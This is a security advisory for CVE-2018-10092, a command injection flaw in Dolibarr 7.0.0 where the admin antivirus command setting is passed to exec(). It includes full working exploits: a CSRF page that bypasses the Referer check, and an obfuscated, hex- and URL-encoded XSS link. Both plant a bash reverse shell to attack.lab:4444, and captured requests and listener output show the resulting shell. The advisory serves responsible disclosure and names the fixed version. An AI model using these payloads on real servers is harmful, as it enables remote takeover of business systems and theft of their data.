[CVE-2018-10092] Dolibarr admin panel authenticated Remote Code Execution (RCE) vulnerability
We found a Remote Code Execution (RCE) vulnerability in Dolibarr, which is an "Open Source ERP & CRM for Business" used by many companies worldwide.Description
Dolibarr is an « Open Source ERP & CRM for Business » used by many companies worldwide.
It is available through GitHub or as distribution packages (e.g .deb package).
Threat
By tricking a logged-in admin into clicking a malicious link, or by getting admin privileges in some other way, a remote attacker can achieve remote code execution (RCE) on the target server.
Expectation
User input should be filtered to avoid arbitrary OS command injection.
Arbitrary external commands should be defined in a configuration file which is not editable by an ERP user.
Vulnerability type
CVE ID: CVE-2018-10092
Access Vector: remote
Security Risk: high
Vulnerability: CWE-78
CVSS Base Score: 9.0
CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Details
The admin panel allows to define an antivirus command and parameters, which are run every time a file is uploaded and scanned.
However, it is possible for an authenticated user to specify an arbitrary command to be run instead of the antivirus scanner. The injected command would be triggered after uploading a file to scan, which effectively leads to executing arbitrary code on the server.
The command to be run is stored in the config variables MAIN_ANTIVIRUS_COMMAND
and MAIN_ANTIVIRUS_PARAM
, which can be set by the admin through the Web interface.
Then, when a file is uploaded by a user, the function dol_move_uploaded_file()
(defined in files.lib.php
) is called:
function dol_move_uploaded_file($src_file, $dest_file, $allowoverwrite, $disablevirusscan=0, $uploaderrorcode=0, $nohook=0, $varfiles='addedfile')
{
... snip ...
// If we need to make a virus scan
if (empty($disablevirusscan) && file_exists($src_file))
{
$checkvirusarray=dolCheckVirus($src_file);
if (count($checkvirusarray))
{
dol_syslog('Files.lib::dol_move_uploaded_file File "'.$src_file.'" (target name "'.$dest_file.'") KO with antivirus: result='.$result.' errors='.join(',',$checkvirusarray), LOG_WARNING);
return 'ErrorFileIsInfectedWithAVirus: '.join(',',$checkvirusarray);
}
}
... snip ...
return 1; // Success
}
Which calls dolCheckVirus()
:
function dolCheckVirus($src_file)
{
global $conf;
if (! empty($conf->global->MAIN_ANTIVIRUS_COMMAND))
{
if (! class_exists('AntiVir')) {
require_once DOL_DOCUMENT_ROOT.'/core/class/antivir.class.php';
}
$antivir=new AntiVir($db);
$result = $antivir->dol_avscan_file($src_file);
if ($result < 0) // If virus or error, we stop here
{
$reterrors=$antivir->errors;
return $reterrors;
}
}
return array();
}
Which in turn calls dol_avscan_file()
(defined in antivir.class.php
), where the return value of getCliCommand()
is passed to the exec()
PHP function:
function dol_avscan_file($file)
{
global $conf;
$return = 0;
if (preg_match('/\.virus$/i', $file))
{
$this->errors='File has an extension saying file is a virus';
return -97;
}
$fullcommand=$this->getCliCommand($file);
//$fullcommand='"c:\Program Files (x86)\ClamWin\bin\clamscan.exe" --database="C:\Program Files (x86)\ClamWin\lib" "c:\temp\aaa.txt"';
$fullcommand.=' 2>&1'; // This is to get error output
$output=array();
$return_var=0;
$safemode=ini_get("safe_mode");
// Create a clean fullcommand
dol_syslog("AntiVir::dol_avscan_file Run command=".$fullcommand." with safe_mode ".($safemode?"on":"off"));
// Run CLI command. If run of Windows, you can get return with echo %ERRORLEVEL%
$lastline=exec($fullcommand, $output, $return_var);
//print "x".$lastline." - ".join(',',$output)." - ".$return_var."y";exit;
... snip ...
// If return code = 0
return 1;
}
The getCliCommand()
routine uses the MAIN_ANTIVIRUS_COMMAND
to format the antivirus command to be executed. Even though escapeshellarg()
is used, it is possible for this variable to hold arbitrary shell commands which will be concatenated and executed:
function getCliCommand($file)
{
global $conf;
$maxreclevel = 5 ; // maximal recursion level
$maxfiles = 1000; // maximal number of files to be scanned within archive
$maxratio = 200; // maximal compression ratio
$bz2archivememlim = 0; // limit memory usage for bzip2 (0/1)
$maxfilesize = 10485760; // archived files larger than this value (in bytes) will not be scanned
$command=$conf->global->MAIN_ANTIVIRUS_COMMAND;
$param=$conf->global->MAIN_ANTIVIRUS_PARAM;
$param=preg_replace('/%maxreclevel/',$maxreclevel,$param);
$param=preg_replace('/%maxfiles/',$maxfiles,$param);
$param=preg_replace('/%maxratio/',$maxratio,$param);
$param=preg_replace('/%bz2archivememlim/',$bz2archivememlim,$param);
$param=preg_replace('/%maxfilesize/',$maxfilesize,$param);
$param=preg_replace('/%file/',trim($file),$param);
if (! preg_match('/%file/',$conf->global->MAIN_ANTIVIRUS_PARAM))
$param=$param." ".escapeshellarg(trim($file));
if (preg_match("/\s/",$command)) $command=escapeshellarg($command); // Use quotes on command. Using escapeshellcmd fails.
$ret=$command.' '.$param;
//$ret=$command.' '.$param.' 2>&1';
//print "xx".$ret."xx";exit;
return $ret;
}
Proof of Concept 1 : Exploiting CSRF control bypass
Dolibarr generates an anti-CSRF token which is not checked by default. Another control on the Referer
header is also perfomed (in filefunc.inc.php
):
// Security: CSRF protection
// This test check if referrer ($_SERVER['HTTP_REFERER']) is same web site than Dolibarr ($_SERVER['HTTP_HOST'])
// when we post forms (we allow GET to allow direct link to access a particular page).
// Note about $_SERVER[HTTP_HOST/SERVER_NAME]: http://shiflett.org/blog/2006/mar/server-name-versus-http-host
if (! defined('NOCSRFCHECK') && empty($dolibarr_nocsrfcheck))
{
if (! empty($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] != 'GET' && ! empty($_SERVER['HTTP_HOST'])
&& (empty($_SERVER['HTTP_REFERER']) || ! preg_match('/'.preg_quote($_SERVER['HTTP_HOST'],'/').'/i', $_SERVER['HTTP_REFERER'])))
{
//print 'NOCSRFCHECK='.defined('NOCSRFCHECK').' REQUEST_METHOD='.$_SERVER['REQUEST_METHOD'].' HTTP_POST='.$_SERVER['HTTP_HOST'].' HTTP_REFERER='.$_SERVER['HTTP_REFERER'];
print "Access refused by CSRF protection in main.inc.php. Referer of form is outside server that serve the POST.\n";
print "If you access your server behind a proxy using url rewriting, you might check that all HTTP header is propagated (or add the line \$dolibarr_nocsrfcheck=1 into your conf.php file).\n";
die;
}
// Another test is done later on token if option MAIN_SECURITY_CSRF_WITH_TOKEN is on.
}
if (empty($do
However, this controlled can be bypassed since the check only ensures the header contains the server’s domain name in its URL. If the victim application is at http://dolibarr.lab
, requesting from http://attack.lab/dolibar.lab/exploit.html
would therefore bypass the control.
By tricking a logged-in admin into clicking our exploit link, we can therefore make him change the antivirus command to our exploit payload silently.
Here is a sample exploit page which will change the antivirus scan command to a reverse shell payload:
<html>
<body>
<form action="http://dolibarr.lab:2080/dolibarr/admin/security_file.php" method="POST" id="form1" target="iframe1">
<input type="hidden" name="action" value="updateform" />
<input type="hidden" name="MAIN_UPLOAD_DOC" value="2048" />
<input type="hidden" name="MAIN_UMASK" value="0664" />
<input type="hidden" name="MAIN_ANTIVIRUS_COMMAND" value="test" />
<input type="hidden" name="MAIN_ANTIVIRUS_PARAM" value=";/bin/bash -c '/bin/bash>/dev/tcp/attack.lab/4444 0>&1 2>&1 &'" />
<input type="hidden" name="button" value="Modify" />
</form>
<iframe style="display: hidden" height="0" width="0" frameborder="0" name="iframe1"></iframe>
<script>
document.forms[0].submit();
</script>
</body>
</html>
The file is hosted in a dolibarr.lab:2080
subdirectory so the Referer
header will look similar to the following when the admin visits our page:
POST /dolibarr/admin/security_file.php HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://attack.lab/RCE/dolibarr.lab:2080/
Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 214
action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify
Hence the request is accepted by the Dolibarr application and the antivirus command is replaced with our payload. Next time a file is uploaded, a reverse shell is opened on our attacking machine:
POST /dolibarr/admin/security_file.php HTTP/1.1
Host: dolibarr.lab:2080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dolibarr.lab:2080/dolibarr/admin/security_file.php
Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------214479305914244921141324238339
Content-Length: 866
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="section_dir"
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="section_id"
0
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="token"
c2bf19bb9927006593e01e8cd1e08e10ef7a8605
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="max_file_size"
2097152
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="userfile[]"; filename="test.log"
Content-Type: text/x-log
foobarr
-----------------------------214479305914244921141324238339
Content-Disposition: form-data; name="sendit"
Send file
-----------------------------214479305914244921141324238339--
$ nc -lvp 4444
listening on [any] 4444 ...
192.168.0.15: inverse host lookup failed: Unknown host
connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38080
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Proof of Concept 2 : Exploiting XSS vulnerability
By exploiting the XSS vulnerability on the application, it is possible to both set the antivirus command and upload a dummy file so as to trigger our payload immediately.
Here is an exploit code that will update the antivirus command to a reverse shell payload and trigger it with a file upload.
function stage1()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
function stage2()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true);
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------13516173183538375091983714991");
xhr.withCredentials = true;
var body = "-----------------------------13516173183538375091983714991\r\n" +
"Content-Disposition: form-data; name=\"userfile[]\"; filename=\"test.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"foobar\r\n" +
"-----------------------------13516173183538375091983714991\r\n" +
"Content-Disposition: form-data; name=\"sendit\"\r\n" +
"\r\n" +
"Send file\r\n" +
"-----------------------------13516173183538375091983714991--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
stage1();
setTimeout(stage2, 2000);
To deliver it, we will hex encode it and paste it into our vulnerable XSS link:
hex decoder function
function hex2a(hex) {var str = "";for(var i = 0; i < hex.length;i+=2){str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));}return str;}
urlencoded twice
%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61
$ cat xssrce.js|xxd -ps|tr -d '\n'
66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a
Javascript payload
eval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a"))
Resulting exploit link
http://dolibarr.lab:2080/dolibarr/adherents/subscription/list.php?date_select=2018%3E%3Cimg+src%3dx+onerror%3deval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a"))%3E
By tricking an admin into visiting our link, we get a reverse shell on the Web server:
$ nc -lvp 4444
listening on [any] 4444 ...
192.168.0.15: inverse host lookup failed: Unknown host
connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38504
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Affected versions
- Version 7.0.0 (last stable version as of March 2018) – previous versions are probably also vulnerable but not tested
Solution
Update to 7.0.2 (changelog)
Timeline (dd/mm/yyyy)
- 18/03/2018 : Initial discovery
- 17/04/2018 : Contact with the editor
- 17/04/2018 : Editor acknowledges the vulnerability
- 18/04/2018 : Editor announces fixes in version 7.0.2
- 21/05/2018 : Vulnerability disclosure
Credits
- Kevin LOCATI (k dot locati at sysdream dot com)